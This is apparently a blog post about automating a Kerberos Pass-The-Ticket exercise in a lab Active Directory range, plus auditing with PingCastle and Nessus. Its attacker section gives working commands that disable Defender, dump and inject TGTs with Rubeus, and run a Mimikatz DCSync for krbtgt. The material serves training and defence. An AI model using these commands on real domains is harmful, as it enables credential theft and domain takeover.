TL;DR howto automate putting TGTs in a VM so students can PTT in a range, also scanning with Nessus Essentials and PingCastle in order to audit for things like unconstrained delegation.
Background
Pass-The-Ticket (PTT) was one of the few common attacker TTPs I hadn’t already included in Mishky’s AD Range. I ran a howto on it way back when, but that howto only included how an attacker would abuse it and how to audit for it.
Someone recently asked about it on Reddit, so I figured I would look at the feasibility of including it in Mishky’s AD Range. Playing the “victim” account and manually logging in to a domain workstation with unconstrained delegation via the GUI is great and all, but for it to work for our purposes it has to be automated. No GUI allowed.
I already went over the theory of unconstrained delegation and PTT here, so I will just dive into how to automate it in a range.
Setup
The trick is to
- Enable unconstrained delegation on a workstation, in this case the VM Research-Test.
- Give the student a way to get local admin on that workstation. In this case we’re simply using the builtin\Administrator.
- Automate getting the “victim” AD user’s TGT onto that workstation.
- Give the “victim” AD user local admin on another domain workstation so the student has something to PTT to.
I used two different TTPs to cache the “victim’s” TGT on Research-Test and gave them local admin on Dave-PC so the attacker would have something to PTT to and confirm the attack works.
Well without further ado the setup is below. It’s actually rather simple.
#Setup Research-Test for Dave to PTT on SQL.Admin's account
Invoke-Command -VMName "Research-DC" {Set-ADComputer -Identity "Research-Test" -TrustedForDelegation $true} -Credential $CousinDomainAdminCredObject
Invoke-Command -VMName "Research-Test" {Add-LocalGroupMember -Group "Administrators" -Member "research\SQL.Admin","research\Dave"} -Credential $CousinDomainAdminCredObject
Invoke-Command -VMName "Research-DC" {Add-ADGroupMember -Identity "Protected Users" -Members "SQL.Admin"} -Credential $CousinDomainAdminCredObject
Invoke-Command -VMName "Research-Test" {Install-WindowsFeature -name Web-Server -IncludeManagementTools} -Credential $CousinDomainAdminCredObject
Invoke-Command -VMName "Research-Test" {New-NetFirewallRule -DisplayName "IIS" -LocalPort "80" -Action Allow -Profile Any -Protocol TCP -Direction Inbound} -Credential $CousinDomainAdminCredObject
Invoke-Command -VMName "Research-Test" {Restart-Computer -Force} -Credential $CousinDomainAdminCredObject
Start-Sleep -Seconds 120
#Put SQL.Admin's TGT in Research-Test. Their NTLM won't be there as they are in Protected Users
#$SQLAdminCredObject
[string]$userName = "research\SQL.Admin"
[string]$userPassword = '<password>'
# Convert to SecureString
[securestring]$secStringPassword = ConvertTo-SecureString $userPassword -AsPlainText -Force
[pscredential]$SQLAdminCredObject = New-Object System.Management.Automation.PSCredential ($userName, $secStringPassword)
Invoke-Command -VMName "Research-Test" {Invoke-WebRequest http://Research-Test.research.local -UseDefaultCredentials -UseBasicParsing} -Credential $SQLAdminCredObject
Invoke-Command -VMName "Research-Test" {whoami /groups} -Credential $SQLAdminCredObject
Play the attacker and confirm
xfreerdp /v:192.168.0.149 /u:Administrator /p:<password> /dynamic-resolution
Set-MpPreference -DisableRealTimeMonitoring $true
#Copy/paste Rubeus.exe from Kali to Research-Test over RDP
.\Rubeus.exe triage
.\Rubeus.exe dump /service:krbtgt /user:SQL.Admin /nowrap
runas /netonly /user:research.local\fake PowerShell.exe
.\Rubeus.exe ptt /ticket:<copy/paste the entire Base64 encoded ticket here>
#Confirm we are now research\SQL.Admin
Invoke-Command -ComputerName Dave-PC {whoami /groups}
This just gets the attacker control of a Domain User account and local admin access to another VM. If the “victim” has DCSync rights though then the attacker can dump the krgtgt immediately after PTT and then start forging tickets.
. .\Invoke-Mimi.ps1
Invoke-Mimi -Command '"lsadump::dcsync /user:research\krbtgt"'
A key point on PTT vs PTH
But wait, why didn’t the attacker just dump SQL.Admin’s NTLM and PTH? After all our method of automating sticking a user’s TGT into a VM also sticks their NTLM into that VM.
We want to force the student to PTT though. PTH is already in other parts of Mishky’s AD Range.
One can disable NTLM in Group Policy, but that’ll prevent PTH in those other parts of the range and is tricky to implement without a GUI. A simple method though is to just put the “victim” in the Protected Users group in AD. That’s why SQL.Admin was added to that group as seen in the configs earlier.
Mitigations
In a real domain one would audit for computer accounts with unconstrained delegation enabled, disable delegation on administrative accounts, and practice good security hygiene regarding where administrative accounts log in. Privileged Users should have separate Domain User accounts for daily tasks like email, Googling, etc and be careful where they use their privileged, administrative credentials.
Sidenote on PingCastle & Nessus
PingCastle is a great, free way to easily and quickly get an audit report on a domain. As a bonus it gives you a dashboard type view and a security score, so you can tell bosses a metric and how much you improved that metric over the last week.
Invoke-WebRequest "https://github.com/netwrix/pingcastle/releases/download/3.3.0.1/PingCastle_3.3.0.1.zip" -OutFile "C:\Users\$env:USERNAME\Downloads\PingCastle_3.3.0.1.zip"
Enable-VMIntegrationService "Guest Service Interface" -VMName "Dave-PC"
#Invoke-Command -VMName "Dave-PC" {New-Item -ItemType Directory "C:\PingCastle"} -Credential $CousinDomainAdminCredObject
Copy-VMFile "Dave-PC" -SourcePath ".\PingCastle_3.3.0.1.zip" -DestinationPath "C:\PingCastle\PingCastle_3.3.0.1.zip" -CreateFullPath -FileSource Host
Invoke-Command -VMName "Dave-PC" {Expand-Archive -Path "C:\PingCastle\PingCastle_3.3.0.1.zip" -DestinationPath "C:\PingCastle"} -Credential $CousinDomainAdminCredObject
My only complaint, and it’s a small one, is that PingCastle didn’t want to run non-interactively.
Obviously the risk level in research.local is high, it’s purposely chock full of mis-configurations after all.
Nessus has a very, very basic ‘Active Directory Starter Scan’ included in the free Nessus Essentials. PingCastle is far more useful for this. Nessus is better used for vulnerability scanning, looking for missing patches.
Mishky’s AD Range auto-provisions all the VMs from ISOs and then auto-configs them. It doesn’t pull patches automatically, that’s a project for the future. The range is about abusing mis-configurations, not exploiting unpatched vulnerabilities. However it’s always good practice to run a vulnerability scan.
Invoke-WebRequest 'https://www.tenable.com/downloads/api/v2/pages/nessus/files/Nessus-10.8.3-x64.msi' -OutFile "C:\Users\$env:USERNAME\Downloads\Nessus-10.8.3-x64.msi"
Start-Process "C:\Users\$env:USERNAME\Downloads\Nessus-10.8.3-x64.msi"
Start-Process Microsoft-Edge:https://localhost:8834/#/
#If you want to access Nessus from other systems:
New-NetFirewallRule -DisplayName "Nessus" -LocalPort "8834" -Action Allow -Profile Any -Protocol TCP -Direction Inbound
Summary
Automating patching range VMs is a future project, as well as figuring out how to work PTT into the escalation path in Research.local. I wanted to verify automating that particular mis-configuration worked first, so I used our throwaway VM “Research-Test”. This VM was used in a previous experiment on automating caching credentials in various different places in Windows so students can find them later while using the range. I later worked those tactics into Mishky’s AD Range, across both forests.
As always just shoot me a message if you, the reader, have any questions, comments, suggestions, etc. Here at test.local we are always open to feedback!
References
Excellent, detailed writeup on Kerberos attacks: https://labs.lares.com/fear-kerberos-pt3/